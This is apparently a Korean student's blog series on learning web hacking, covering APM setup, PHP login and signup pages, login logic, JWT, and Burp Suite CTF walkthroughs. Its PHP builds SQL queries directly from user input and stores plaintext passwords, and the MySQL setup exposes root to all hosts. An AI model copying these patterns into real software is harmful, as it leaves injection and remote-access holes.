디코딩 한번으로 플래그가 나오지 않았지만 디코딩 값이 =으로 끝나는 것이 의심스러워 계속 base64디코딩을 수행하니 플래그 값이 나와서 문제를 풀 수 있었다.

반응형

댓글()

13. [4주차]-2 버프스위트 트레이닝 코스 풀이

* 과제
1. 오늘 수업 복습
 - BurpSuite: CTF 문제
2. Javascript
 - 1. 키로거 만들어보기
 - 2. 쿠키 탈취
3. 게시판 구현
- 게시판 글 작성
- 게시판 글 리스트 보기
- 게시판 글 내용 읽기
- 게시판 글 수정
- 게시판 글 삭제


1. 오늘 수업 복습

1.3 버프스위트 트레이닝

유튜버 노말틱님이 만드신 버프스위트 트레이닝 문제를 풀어보았다.

 

1.3.1 1_Intercept

Proxy의 Open Browser로 브라우져를 연 후 해당 문제에 접근했다.

Intercept on을 한 후 click을 누르면

해당 패킷이 잡히게 된다. 문제대로 data=normaltic으로 수정하고 Forward를 하면....

문제를 풀 수 있었다.

 

1.3.2 2_History

Proxy의 HTTP history를 들어간다.

history의 파일들을 보다보면 Secret Data를 알려주는 파일이 있었고 이 문제 역시 풀 수 있었다.

 

1.3.3 3_Repeater

Intercept On을 하고 아무 값이나 넣은 후 Send를 누른다.

Intercept된 패킷을 마우스 오른쪽 의 Send to Repeater 를 통해 Repeater로 보낸다.

해당 요청 패킷의 data+%3A+15 가 디코딩을 하면 data : 15이다.(내가 처음에 숫자 아무거나 넣은 데이터이다.)

1에서 50사이의 숫자를 넣으면서 응답 패킷을 보면서 결과를 확인하면 된다.

하지만 이건 너무 비효율적이라 나는 Intruder 기능을 이용했다.

다음 문제가 같은 유형이니 거기서 같이 설명하겠다.

 

1.3.4 4_Intruder

3번과 같은 문제이다.

똑같이 Intercept를 하고 이번에는 Send to Intruder 기능을 사용한다.

그럼 이런 창을 볼 수 있는데 여기서 숫자 부분(여기서는 15이다.)을 변수 처리해준다.

(해당 URL은 공개되면 안될 것 같아 임시로 제거하였다.)

오른쪽의 Add 를 이용한다.

이런식으로 변수처리를 한다.

다음 Payloads 부분에서 Payload type을 Numbers로 지정하고 From과 To를 설정한다.

그 후 오른쪽 위의 Start Attack을 누르면.....

 

이런 식으로 공격이 진행된다.

여기서 나는 Length 부분이 다른 패킷을 먼저 확인하였고 답을 알 수 있었다.

 

반응형

댓글()

12. [4주차]-1 버프스위트 설치 및 사용법

* 과제
1. 오늘 수업 복습
 - BurpSuite: CTF 문제
2. Javascript
 - 1. 키로거 만들어보기
 - 2. 쿠키 탈취
3. 게시판 구현
- 게시판 글 작성
- 게시판 글 리스트 보기
- 게시판 글 내용 읽기
- 게시판 글 수정
- 게시판 글 삭제


1. 오늘 수업 복습

1.1 BurpSuite 설치 및 설정

웹 해킹 실습에 앞서서 웹 해킹 툴로 많이 사용하는 버프스위트를 설치하였다.

BurpSuite 라고 검색 후 사이트로 들어가 무료버전인 커뮤니티 에디션을 설치하였다.

나 같은 경우는 윈도우의 디스플레이 설정이 125%이기 때문에 버프스위트에서 디스플레이 설정을 해주지 않으면 커서의 위치가 달라져서 글자를 지우거나 추가할 때 문제가 있었다.

 

Settings > User > User Interface > Display에서 Sacling을 1.0으로 하면 커서의 위치 문제가 해결된다.

그 후 글씨체가 작으면 Appearance에서 폰트 사이즈를 설정하거나

Inspector and message editor에서 HTTP message display 폰트를 설정하면 메시지 창의 폰트 크기도 키울 수 있다.

메시지 창의 경우 한글 폰트로 해야 한글이 제대로 보이는 효과도 있다.

 

1.2 BurpSuite 기능 소개

버프스위트의 기능은 많지만 자주 사용할 기능으로 크게 6가지 정도 일 것 같다.

 

1.2.1 Intercept

실제 웹 패킷을 가로채서 버프스위트에서 중간에 볼 수 있게 해준다.

Proxy탭의 Intercept탭을 클릭하면 위와 같은 화면을 볼 수 있는데, Open brower 클릭 시 기본적으로 버프스위트에서 제공하는 웹 브라우져를 통해 별다른 설정 없이 Intercept를 수행할 수 있다.

Proxy의 Intercept is off를 클릭해서 on으로 변경하면 Intercept를 시작하게 된다.

네이버로 가는 패킷을 Intercept한 모습이다. 여기서 Forward를 누르기 전 까진 패킷이 네이버로 가지 않는다.

 

1.2.2 history

Proxy 의 HTTP history 탭으로 클라이언트와 서버간 주고 받는 요청들을 기록한다.

 

1.2.3 Repeater

요청을 서버로 반복해서 보낼 수 있게 해준다.

Intercept 나 history에서 마우스 오른쪽을 클릭해서 Send to Repeater 를 클릭하면 Repeater로 요청 패킷을 보낼 수 있다.

요청 패킷은 데이터를 수정할 수 있으며, Send 클릭 시 수정된 데이터에 대한 서버의 응답 데이터를 받아서 확인할 수 있다.

 

1.2.4 Intruder

요청을 서버로 반복해서 보낼 수 있게 해주는데 반복문 처럼 자동으로 보내는 기능이다.

Intercept 나 history에서 마우스 오른쪽을 클릭해서 Send to Intruder 를 클릭하면 Intruder로 요청 패킷을 보낼 수 있다.

 

§ 모양으로 데이터를 감싼 후 Payloads 탭에서 데이터의 형식과 범위를 설정해서 Start attack 시 데이터를 보내게 된다.

 

1.2.5 Decoder

데이터를 디코딩할 수 있다.

 

abc 라는 값을 base64로 인코딩 후 다시 디코딩 한 결과이다.

패킷의 데이터는 한눈에 보기 어렵게 인코딩한 경우가 많으니 해석을 위해 존재한다.

 

1.2.6 Comparer

두 데이터를 비교하기 위한 기능이다.

요청을 Send to Comparer를 통해 Comparer로 보내고 오른쪽 아래의 Words나 Bytes 를 클릭하면 값을 비교한 결과를 보여준다.

 

과제로 내준 CTF 문제를 풀면서 버프스위트의 기능을 더 익혀보았다.

반응형

댓글()

11. [3주차]-4 JWT 로그인 구현

* 과제
1. 오늘 수업 복습
- 로그인 로직 이해 (식별/인증)
 - 로직을 많이 알면 로그인 우회 시 도움이 됨
2. 지난 과제 (특별과제 제외)
3. 로그인 페이지 
- 로직 4개 
 - 식별/인증 동시
 - 식별/인증 분리
 - 식별/인증 동시 (With HASH)
 - 식별/인증 분리 (With HASH)

+ 추가 과제
1. jwt 찾아보기
2. jwt 로그인 구현


2. jwt 로그인 구현

위 처럼 JWT 사용 여부 체크박스를 추가해서 구현하였다.

로그인 시

위처럼 메인 화면과 쿠키에 JWT 토큰이 있는 것을 확인할 수 있다.

원래는 localstorage에 저장하는 게 좋다는 말을 들어서 localstorage에 저장하려 했지만 php의 서버사이드 언어에서 접근하기가 쉽지 않아 쿠키에 저장하는 것으로 방향을 틀었다.

 

마이페이지 및 로그아웃 역시 잘 동작한다.

반응형

댓글()

10. [3주차]-3 JWT 사용하기

* 과제
1. 오늘 수업 복습
- 로그인 로직 이해 (식별/인증)
 - 로직을 많이 알면 로그인 우회 시 도움이 됨
2. 지난 과제 (특별과제 제외)
3. 로그인 페이지 
- 로직 4개 
 - 식별/인증 동시
 - 식별/인증 분리
 - 식별/인증 동시 (With HASH)
 - 식별/인증 분리 (With HASH)

+ 추가 과제
1. jwt 찾아보기
2. jwt 로그인 구현


 

1. jwt 찾아보기

쿠키와 세션에 이어 JWT를 활용한 로그인 유지 방법에 알아볼 예정이다.

 

쿠키는 4KB라는 용량 제한과 클라이언트에 저장되기 때문에 쉽게 변조가 가능하다는 문제가 있다.

세션은 서버에 저장되기 때문에 사용자가 변조하기가 어려우며, 사용자는 랜덤 문자열인 세션ID를 이용해 서버의 세션과 자신을 연결시킬 수 있다. 그러나 서버의 부하문제가 있으며, 여러 서버를 두는 경우 세션을 공유해야 하는 문제가 있다.

그래서 나온 것이 JWT이다.

 

보통 웹 브라우져의 localstorage에 저장해서 사용하는 것 같다.

 

위의 이미지는 https://jwt.io/ 에서 가져온 JWT의 예시이다.

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

다음과 같은 형식을 가지면 . 으로 구분을 한다.

XXX: 헤더 부분으로 어떤 알고리즘을 사용한 것인지 정의한다.

YYY: 페이로드로 실제 사용할 데이터가 들어간다.

 - 암호화가 되는 것은 아니기 때문에 중요정보가 들어가면 안된다.

ZZZ: JWT를 만들 때 사용한 비밀키를 이용한 JWT의 무결성을 입증하는 데이터이다. 사용자가 보낸 JWT를 서버에서 사용하려면 비밀키를 이용해서 무결성을 확인한 후 사용해야 한다.

 

 

 

반응형

댓글()

9. [3주차]-2 로그인 로직 구현

* 과제
1. 오늘 수업 복습
- 로그인 로직 이해 (식별/인증)
 - 로직을 많이 알면 로그인 우회 시 도움이 됨
2. 지난 과제 (특별과제 제외)
3. 로그인 페이지 
- 로직 4개 
 - 식별/인증 동시
 - 식별/인증 분리
 - 식별/인증 동시 (With HASH)
 - 식별/인증 분리 (With HASH)

+ 추가 과제
1. jwt 찾아보기
2. jwt 로그인 구현


3. 로그인 페이지

- 로직 4개 
 - 식별/인증 동시
 - 식별/인증 분리
 - 식별/인증 동시 (With HASH)
 - 식별/인증 분리 (With HASH)

 

로그인 로직으로 크게 2가지가 있는데 강의에서는 식별/인증 동시와 분리라고 표현하였다.

1. ID와 PW를 WHERE과 AND를 이용해 같이 확인하는 방법

 - 식별/인증 동시

2. ID를 이용해 WHERE 절로 특정인 데이터를 SELECT 한 후 PW를 비교하는 방법

 - 식별/인증 분리

 

그리고 비밀번호에 해시를 추가한 경우를 포함해서 4가지 방식을 구현하기로 했다.

먼저 DB에 해시 패스워드를 추가하였다.

 

일단 체크박스를 이용해 식별/인증 분리 여부와 해시 사용 여부를 체크해서 4가지 로그인 로직을 구현하였다.

그 외에 쿠키와 세션 사용 여부를 추가해 로그인 유지 기능도 추가하였다.

 

로그인 상태 유지가 충돌되는데 이건 정리해야 할 것 같다.

해시된 비밀번호는 솔트가 추가되지 않은 상태라 솔트도 추가해야 할 듯 싶다.

 

반응형

댓글()

8. [3주차]-1 로그인 로직 이해

* 과제
1. 오늘 수업 복습
- 로그인 로직 이해 (식별/인증)
 - 로직을 많이 알면 로그인 우회 시 도움이 됨
2. 지난 과제 (특별과제 제외)
3. 로그인 페이지 
- 로직 4개 
 - 식별/인증 동시
 - 식별/인증 분리
 - 식별/인증 동시 (With HASH)
 - 식별/인증 분리 (With HASH)

+ 추가 과제
1. jwt 찾아보기
2. jwt 로그인 구현 


1. 오늘 수업 복습

1.1 로그인 로직 이해 (식별/인증)

로직을 많이 알면 로그인 우회 시 도움이 됨

 

로그인: 특정인이 맞는지 확인하는 과정으로 로그인에는 식별과 인증이라는 과정이 있다.

1. 식별: 특정인임을 알 수 있는 것.

 - DB에 저장된 수많은 데이터 중에 특정인에 관한 정보 하나를 찾는 것으로 유니크한 값을 통해 특정인을 찾게 된다.

 - MySQL에서는 PK 처리된 값을 이용해 중복되지 않는 유니크한 값을 갖도록 한다.

 - 회원가입 시 ID나 사번 같은 것이 될 수 있다.

  - 고유식별정보(주민등록번호, 운전면허번호, 여권번호, 외국인등록번호) 제외

 - 노출되어도 크게 취약점이라고 보기 어려운 것 같다.

 

2. 인증: 사용자가 특정인이 맞는지 확인하는 것

 - 대표적으로는 비밀번호가 있다.

 - 노출되어서는 안된다.

 

로그인 로직으로 크게 2가지가 있다.

1. ID와 PW를 WHERE과 AND를 이용해 같이 확인하는 방법

2. ID를 이용해 WHERE 절로 특정인 데이터를 SELECT 한 후 PW를 비교하는 방법

 

여기서 비밀번호를 해시처리하는 방법이 추가된다.

강의에서는 이 외에도 여러 로그인 로직이 있는 듯 하다.

 

1.2 로그인 유지

로그인을 유지하기 위한 방법으로 크게 쿠키와 세션이 있다.

1. 쿠키: 클라이언트에 저장되는 데이터로 4KB의 제한을 갖는다.

 - 로그인 과정이 완료되면 사용자 ID 관련 정보를 쿠키로 보관하면 다음 요청부터는 쿠키를 이용해 추가적인 로그인 과정없이 특정인임을 증명할 수 있다.

 - 그러나, 클라이언트에 저장되기 때문에 변조 및 탈취가 쉽게 일어나며 공격자는 타인의 계정 정보를 이용해 로그인 과정을 우회할 수 있는 문제가 있다.

 

2. 세션: 쿠키와는 달리 데이터를 서버에 저장한다.

 - 사용자 ID 관련 정보를 서버에 세션으로 저장하고 세션ID를 사용자에게 발급한다.

 - 사용자는 세션ID를 쿠키로 저장하며 이를 통해 특정인임을 증명한다.

 - 세션ID는 랜덤한 문자열을 사용하기 때문에 추측이 불가하다.

 - 공격자는 쿠키에 저장된 세션ID를 탈취하기 위해 노력한다.

 

쿠키 외에도 세션저장소나 로컬저장소 같은 것이 있다.

* 출처: https://velog.io/@ejchaid/localstorage-sessionstorage-cookie%EC%9D%98-%EC%B0%A8%EC%9D%B4%EC%A0%90

 

[web] LocalStorage, SessionStorage, Cookie의 차이점

WEB STORAGE HTML5 에는 웹의 데이터를 클라이언트에 저장할 수 있는 새로운 자료구조인 Web Storage 스펙이 포함되어 있다. Web Storage의 개념은 키/값 쌍으로 데이터를 저장하고 키를 기반으로 데이터를

velog.io

 

쿠키나 세션 외에도 JWT 라는 것이 있다. 이에 대한 공부는 다음에 포스팅할 예정이다.

반응형

댓글()

7. [2주차]-5 로그아웃과 마이페이지 만들기

* 과제

1. 복습(database, SQL)
2. 미니 미션

 - 학생, 점수 데이터베이스 생성

 - GET 방식으로 학생의 이름이 입력되면 그에 맞는 점수를 출력

   - ex) "doldol 학생의 점수는 80입니다."

3. 로그인 페이지 (DB 연동)

4. 회원가입 페이지 만들기 (기능 구현)

 

+ 추가 미션 (시간이 남으면)

1. 마이 페이지 기능

 


1. 마이 페이지 기능

+ 추가 미션 (시간이 남으면)

1. 마이 페이지 기능

로그인 성공 시 index 페이지의 화면으로 로그아웃과 마이페이지 기능을 일단 구현만 해놨다.

 

<?php
if (!session_id()) {
    session_start();
}

session_destroy();
header("location: ./login.php");

?>

 

여기서 로그아웃 클릭 시 세션이 삭제되는 방식으로 구현했다.

 

마이페이지 기능의 경우, 회원가입 페이지와 동일하게 만들었으며,

$sql = "SELECT email, name FROM my_user WHERE user='{$id}'";

 

위의 PHP 코드를 이용해 email과 name 정보만 가져오는 식으로 구현하였다.

반응형

댓글()

6. [2주차]-4 회원가입 페이지 만들기

* 과제

1. 복습(database, SQL)
2. 미니 미션

 - 학생, 점수 데이터베이스 생성

 - GET 방식으로 학생의 이름이 입력되면 그에 맞는 점수를 출력

   - ex) "doldol 학생의 점수는 80입니다."

3. 로그인 페이지 (DB 연동)

4. 회원가입 페이지 만들기 (기능 구현)

 

+ 추가 미션 (시간이 남으면)

1. 마이 페이지 기능

 


4. 회원가입 페이지 만들기 (기능 구현)

로그인 화면에 회원가입 버튼을 만들고 회원가입 페이지로 이동하도록 하였다.

 

 

각 정보를 필수로 입력하게 하였고 입력이 다 되야 회원가입이 수행된다.

 

 

user02라는 아이디를 추가한 후 로그인에 성공한 모습이다.

반응형

댓글()

5. [2주차]-3 로그인 페이지 DB 연동

* 과제

1. 복습(database, SQL)
2. 미니 미션

 - 학생, 점수 데이터베이스 생성

 - GET 방식으로 학생의 이름이 입력되면 그에 맞는 점수를 출력

   - ex) "doldol 학생의 점수는 80입니다."

3. 로그인 페이지 (DB 연동)

4. 회원가입 페이지 만들기 (기능 구현)

 

+ 추가 미션 (시간이 남으면)

1. 마이 페이지 기능


3. 로그인 페이지 (DB 연동)

계정 정보를 DB에 넣어서 로그인 시 하드코딩 된 것으로 DB와 비교하는 식으로 수정하였다.

아래 처럼 DB와 테이블을 준비하였다.

create table my_user(
	id bigint not null auto_increment,
	user varchar(32) not null unique,
	pw varchar(255) not null,
	email varchar(255) not null,
	name varchar(255) not null,
	created datetime not null default CURRENT_TIMESTAMP,
	updated datetime not null default CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
	primary key(id)
);

 

 

 

 

process_login.php 는 다음과 같이 수정하였다.

<?php
// error_reporting(E_ALL);
// ini_set("display_errors", 1);

$id = $_POST["id"];
$pw = $_POST["pw"];

$ini_array = parse_ini_file("/etc/web_conf/.env");

$db_url = $ini_array["DB_URL"];
$db_user = $ini_array["DB_USER"];
$db_pw = $ini_array["DB_PW"];
$db_database = $ini_array["DB_DATABASE"];


$conn = mysqli_connect($db_url, $db_user, $db_pw, $db_database);
$sql = "select * from my_user where user='{$id}' and pw='{$pw}'";
// die($sql);
$result = mysqli_query($conn, $sql);
$row = $row = mysqli_fetch_array($result);

if (($id != "" && $pw != "") && ($id == $row["user"] && $pw == $row["pw"])) { ?>
    <script>
        alert("로그인 성공");
        location.href = "login.php"
    </script>
<?php
} else { ?>
    <script>
        alert("로그인 실패");
        location.href = "login.php"
    </script>
<?php
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>login process</title>
</head>

<body>

</body>

</html>

 

로그인 시도 시 DB에 저장된 정보를 토대로 로그인을 하게 되었다.

* 추후 DB에 저장된 패스워드를 해시로 바꾸거나 사용자 정보를 암호화하는 작업이 필요할 듯 싶다.

 

 

 

반응형

댓글()

4. [2주차]-2 학생, 점수 페이지 만들기

* 과제

1. 복습(database, SQL)
2. 미니 미션

 - 학생, 점수 데이터베이스 생성

 - GET 방식으로 학생의 이름이 입력되면 그에 맞는 점수를 출력

   - ex) "doldol 학생의 점수는 80입니다."

3. 로그인 페이지 (DB 연동

4. 회원가입 페이지 만들기 (기능 구현)

 

+ 추가 미션 (시간이 남으면)

1. 마이 페이지 기능


 

2. 미니 미션

 - 학생, 점수 데이터베이스 생성

 - GET 방식으로 학생의 이름이 입력되면 그에 맞는 점수를 출력

   - ex) "doldol 학생의 점수는 80입니다."

 

먼저 위와 같이 DB내 테이블을 생성하였다.

 

<?php
$name = "";

// SQL 쿼리 결과가 있다는 플래그
$select_score = false;

// 처음 접근 시 학새 이름을 입력받는 폼을 보여주기 위한 플래그
$init_access = true;
if (isset($_GET["name"])) {
    $name = $_GET["name"];
    $ini_array = parse_ini_file("/etc/web_conf/.env");
    $db_url = $ini_array["DB_URL"];
    $db_user = $ini_array["DB_USER"];
    $db_pw = $ini_array["DB_PW"];
    $db_database = $ini_array["DB_DATABASE"];

    $conn = mysqli_connect($db_url, $db_user, $db_pw, $db_database);
    $sql = "select * from score where name='{$name}'";
    $result = mysqli_query($conn, $sql);

    if ($result) {
        $row = mysqli_fetch_array($result);
        // print_r($row);

        // 결과 제대로 가져오면
        if ($row) {

            // 입력 폼 플래그 off
            // SQL 결과 플래그 on
            $init_access = false;
            $select_score = true;
        }
        // 결과 없으면
        else {
            // 입력 폼 플래그 off
            // SQL 결과 플래그 off
            $init_access = false;
            $select_score = false;
        }
    } else {
        echo "에러 발생!";
        echo mysqli_errno($conn);
        exit;
    }
} else {
    // echo "학생 이름을 입력해주세요";
    // exit;
}

?>


<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <?php
    // 처음 접근시 학생 이름 받는 폼
    if ($init_access == true) {
    ?>
        <form action="">
            <input type="text" name="name" id="name" placeholder="학생 이름을 입력해주세요">
            <button type="submit">점수 확인</button>
        </form>
    <?php
        // 처음 접근이 아니고 SQL 결과 있으면
    } else if ($init_access == false && $select_score == true) {
        echo "{$row["name"]} 학생의 점수는 {$row["score"]} 입니다.";
    }
    // 처음 접근이 아니고 SQL 결과 없으면
    else if ($init_access == false && $select_score == false) {
        echo "해당 학생은 존재하지 않습니다.";
    } else {
        echo "문제가 발생했습니다.";
    }

    ?>


</body>

</html>

 

페이지 내에서 학생 이름을 입력 폼으로 받아 GET 방식으로 재전송한다.

그 GET으로 받은 결과를 이용해 점수데이터를 가져와서 보여주는 방식으로 작성하였다.

처음 접근 시 학생의 이름을 입력받는다.

 

학생의 이름 입력 시 GET 방식으로 페이지로 재전송해 그에 맞는 점수를 보여준다.

 

존재하지 않는 학생의 경우 해당 문구를 보여주는 방식으로 개발하였다.

 

반응형

댓글()

3. [2주차]-1 데이터베이스 및 명령어

* 과제

1. 복습(database, SQL)
2. 미니 미션

 - 학생, 점수 데이터베이스 생성

 - GET 방식으로 학생의 이름이 입력되면 그에 맞는 점수를 출력

   - ex) "doldol 학생의 점수는 80입니다."

3. 로그인 페이지 (DB 연동

4. 회원가입 페이지 만들기 (기능 구현)

 

+ 추가 미션 (시간이 남으면)

1. 마이 페이지 기능

 


 

1. 복습(database, SQL)

 

기존에 만든 로그인 페이지는 계정과 패스워드를 php 파일에 하드코딩해서 만들었다.

 

이러한 하드코딩을 피하고 계정에 관한 정보를 따로 다루기 위해 데이터베이스를 사용한다.

 

데이터베이스는 데이터를 체계적으로 관리하기 위한 모음집로 관계형 데이터베이스와 비관계형 데이터베이스로 나눠진다.

관계형 데이터베이스는 SQL 이라는 언어를 사용해 데이터를 관리하고 비관계형 데이터베이스는 특정한 명령어를 사용하지 않는다.

 

관계형 DB는 데이터 저장 방식이 엑셀의 표처럼 각 열과 자료형이 정해져 있다. SQL 언어를 통해 다른 관계형 DB 끼리도 어느정도 명령어가 유사하다.

비관계형 DB는 데이터 저장 방식이 정해져 있지 않다. JSON 형식 처럼 원하는 구조로 데이터를 관리할 수 있다. SQL 과 달리 비관계형 DB 끼리는 데이터를 다루는 명령어가 다른 경우가 많다.

 

 

https://ssjune.tistory.com/115

 

1. [1주차]-1 Ubuntu 22.04에 APM 설치하기

웹 해킹 공부에 앞서 가상머신에 ubuntu-22.04.4-live-server-amd64를 설치하고 APM을 설치하기로 했다. 데스크탑 모드로 설치하면 렉이 너무 걸려서 차라리 서버 버전을 설치하고 SSH 연결을 하는 게 더 나

ssjune.tistory.com

여기서는 1주차 때 설치한 MySQL을 사용할 것이며, 일단은 SELECT, INSERT, WHERE에 대해 공부하였다.

 

SELECT: 데이터베이스에서 데이터를 확인하기 위한 명령어이다.

 - SELECT * FROM my_table; : my_table의 모든 데이터를 확인한다.

 - SELECT col1, col2 FORM my_table; : my_table 중 col1과 col2 컬럼에 대한 데이터를 확인한다.

 

INSERT: 데이터베이스에 데이터를 추가하는 명령어이다.

 - INSERT INTO my_table (col1, col2) VALUES (data1, data2); : col1에 data1, col2에 data2를 추가한다.

   - VALUES/VALUE 둘 중 하나를 적어도 작동하며 보통 데이터가 하나면 VALUE, 데이터를 여러개 추가하면 VALUES를 사용하는 것 같다.

WHERE: SELECT 명령어 시 조건을 추가하는 데 사용한다.

 - SELECT col1, col2 FORM my_table WHERE col1="a"; : my_table 중 col1이 "a" 인 경우에 대해 col1과 col2 컬럼에 대한 데이터를 확인한다.

 - SELECT * FROM my_table WHERE col1="a" AND col2="b"; : my_table 중 col1이 "a" 이면서 col2는 "b"인 경우에 대해 모든 데이터를 확인한다.

   - AND 외에 OR나 NOT을 사용할 수 도 있다.

https://www.w3schools.com/mysql/mysql_and_or.asp

 

MySQL AND, OR, NOT Operators

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

 

반응형

댓글()

2. [1주차]-1 간이 로그인 페이지 만들기

* 과제
1. 복습(웹 서버 이해)
2. 간이 로그인 페이지 만들기 (DB연결X)
 - admin / admin1234 입력 시 로그인 되는 페이지
3. 로그인 페이지를 이쁘게 만들기 (CSS / Bootstrap)

 


 

1. 복습(웹 서버 이해)

1. 웹 브라우져: 크롬, 파이어폭스 같은 프로그램으로 사용자가 실행하는 프로그램

2. WEB Server: html, css, javacript 같은 클라이언트 단에서 실행되는 정적 페이지를 제공한다.

3. WAS Server: php, jsp, asp 같은 동적 페이지로 WEB Server에서 동적 페이지를 WAS Server에 전송하면 WAS Server에서 DB 연결 처리나 프로그래밍 언어를 처리한 후 정적 페이지로 변경해서 WEB Server로 전송한다.

 

* 기존 지식을 맹신하지 않고 생활코딩에서 다시 공부를 했다.

html: https://www.opentutorials.org/course/3084

 

WEB1 - HTML & Internet - 생활코딩

--- 우리는 지금부터 코딩 웹 인터넷 컴퓨터라는 거대한 주제에 대한 탐험을 시작할 거예요. 이 여행을 시작하기에 앞서서 한가지 준비가 필요한데요. 바로 우리들의 상상력입니다. 지금부터 여

www.opentutorials.org

css: https://www.opentutorials.org/course/3086

 

WEB2 - CSS - 생활코딩

수업소개 이 수업은 https://opentutorials.org 를 만들어가면서 CSS에 대한 지식과 경험을 동시에 채워드리기 위한 목적으로 만들어진 수업입니다.  수업대상 이 수업은 웹 페이지를 아름답게 디자인

www.opentutorials.org

php: https://www.opentutorials.org/course/3130

 

WEB2 - PHP - 생활코딩

수업소개 이 수업은 https://opentutorials.org 를 만들어가면서 PHP에 대한 지식과 경험을 동시에 채워드리기 위한 목적으로 만들어진 수업입니다.  수업대상 이 수업은 1억개의 웹페이지를 생산하면

www.opentutorials.org

php의 경우

 - XSS 공격 방지를 위해 htmlspecialchars() 함수를 사용해서 html 태그를 일반 문자로 인식하게 한다.

 - 파일 경로 공격 방지를 위해 basename() 함수를 사용해서 입력값에서 파일명만을 추출한다.

 - 아래의 코드를 추가하면 php 개발 중 발생하는 에러를 웹 브라우져에서 볼 수 있다.

   - 이런 에러 메시지도 공격자에게 단서가 될 수 있으므로 실제 운영에서는 사용하지 말아야 한다.

<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);
?>

 

   - php 8 부터는 $result = mysqli_query(...) 에서 문제가 생기면 false를 리턴하는게 아닌, 예외를 발생시킨다.

     따라서 if 문으로 확인을 하고 싶다면 mysqli_report(MYSQLI_REPORT_OFF);  이 구문을 상단에 추가하여야 한다.

 

2. 간이 로그인 페이지 만들기 (DB연결X)

admin / admin1234 입력 시 로그인이 되도록 간단한 로그인 페이지를 만들었다.

 

3. 로그인 페이지를 이쁘게 만들기 (CSS / Bootstrap)

일단은 CSS를 이용해서 로그인 페이지를 만들었다. 네이버 로그인 화면을 참조하였는데 많이 부족하다.....

 

로그인 성공/실패 시 alert 창이 뜨고 확인을 누르면 일단은 다시 로그인 페이지로 넘어오게 만들었다.

 

 

 

 

 

반응형

댓글()

1. [0주차] Ubuntu 22.04에 APM 설치하기

웹 해킹 공부에 앞서 가상머신에 ubuntu-22.04.4-live-server-amd64를 설치하고 APM을 설치하기로 했다.

데스크탑 모드로 설치하면 렉이 너무 걸려서 차라리 서버 버전을 설치하고 SSH 연결을 하는 게 더 나은거 같다.

* 서버 설치중에 OpenSSH 서버를 자동으로 설치할 수 있어 더 편하다.

 

1. Apache 설치

sudo apt update
sudo apt upgrade
sudo apt install apache2 -y

가상머신 IP로 들어가면 아파치 설치를 확인할 수 있다.

 

2. MySQL 설치

sudo apt install mysql-server -y
sudo mysql
ALTER user 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '변경 비밀번호';

sudo mysql로 mysql로 들어간 후 ALTER 명령으로 root의 비밀번호를 설정해준다.

msyql -u root -p 명령어로 root로 로그인 할 수 있다.

 

외부에서 DBeaver 로 MySQL에 접근하려면 설정 파일을 수정해야 한다.

sudo vi etc/mysql/mysql.conf.d/mysqld.cnf
bind-address = 127.0.0.1
mysqlx-bind-address = 127.0.0.1

위를 아래로 수정한다.

bind-address = 0.0.0.0
mysqlx-bind-address = 0.0.0.0

 

그 후, 외부 접속용으로 계정을 생성하고 권한을 부여한다.

 

create user 'root'@'%' identified by '비밀번호'
grant all privileges on *.* to 'root'@'%' with grant option
flush privileges

 

필자는 DBeaver를 사용하였다.

 

3. PHP 설치

sudo apt install php php-mysql
sudo vi /var/www/html/phpinfo.php

 

<?php phpinfo(); ?>

위의 내용을 입력한다.

 

http://가상머신IP/phpinfo.php

로 확인 가능

 

* 별다른 옵션 없이 서버 실행 시 기본적으로 /var/www/html 디렉토리가 웹 서버의 root 디렉토리가 된다.

 

WEB Server

 - 정적 페이지를 사용자에게 보여준다.

  - html, css, js...

WAS Server

 - 동적 페이지를 정적 페이지로 바꿔 Web Server를 통해 사용자에게 보여준다.

  - php, jsp, asp...

 

 

* 과제

1. 복습(웹 서버 이해)
2. 간이 로그인 페이지 만들기 (DB연결X)
 - admin / admin1234 입력 시 로그인 되는 페이지
3. 로그인 페이지를 이쁘게 만들기 (CSS / Bootstrap)

 

 

출처: https://velog.io/@vector13/Ubuntu22.04-APM-%EC%84%A4%EC%B9%98-ApachePhpMysql

 

위 사이트를 참조하면서 설치를 수행했다.

 


 

웹 해킹 공부를 하면서 자체 웹 사이트를 만들게 되었다.

PHP 로 작성하였으며, 소스코드를 깃허브에 공개하였다.

 

https://github.com/SSJune821/mywebsite

 

GitHub - SSJune821/mywebsite: web site for web hacking study

web site for web hacking study. Contribute to SSJune821/mywebsite development by creating an account on GitHub.

github.com

 

 
Copy
 
 

 

반응형

댓글()

15. 스프링 시큐리티 애너테이션

책의 15. 스프링 시큐리티 애너테이션 의 내용

SecurityConfig.java

package com.mysite.config;

import javax.sql.DataSource;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.access.AccessDeniedHandler;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
import org.springframework.security.web.authentication.rememberme.JdbcTokenRepositoryImpl;
import org.springframework.security.web.authentication.rememberme.PersistentTokenRepository;
import com.mysite.common.security.CustomAccessDeniedHandler;
import com.mysite.common.security.CustomLoginSuccessHandler;
import lombok.extern.slf4j.Slf4j;

@Configuration
@Slf4j
//시큐리티 애너테이션 활성화를 위한 설정
@EnableMethodSecurity(prePostEnabled=true, securedEnabled=true)
public class SecurityConfig {
	
	@Autowired
	DataSource datasource;
	
	@Bean
	public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
		log.info("security config...");
		
		http.authorizeHttpRequests((authorize) -> authorize
				.requestMatchers("/board/read")
				.permitAll());		
		
		
		//사용자가 직접 정의한 로그인 페이지의 URI를 지정한다.
		http.formLogin()
			.loginPage("/login")
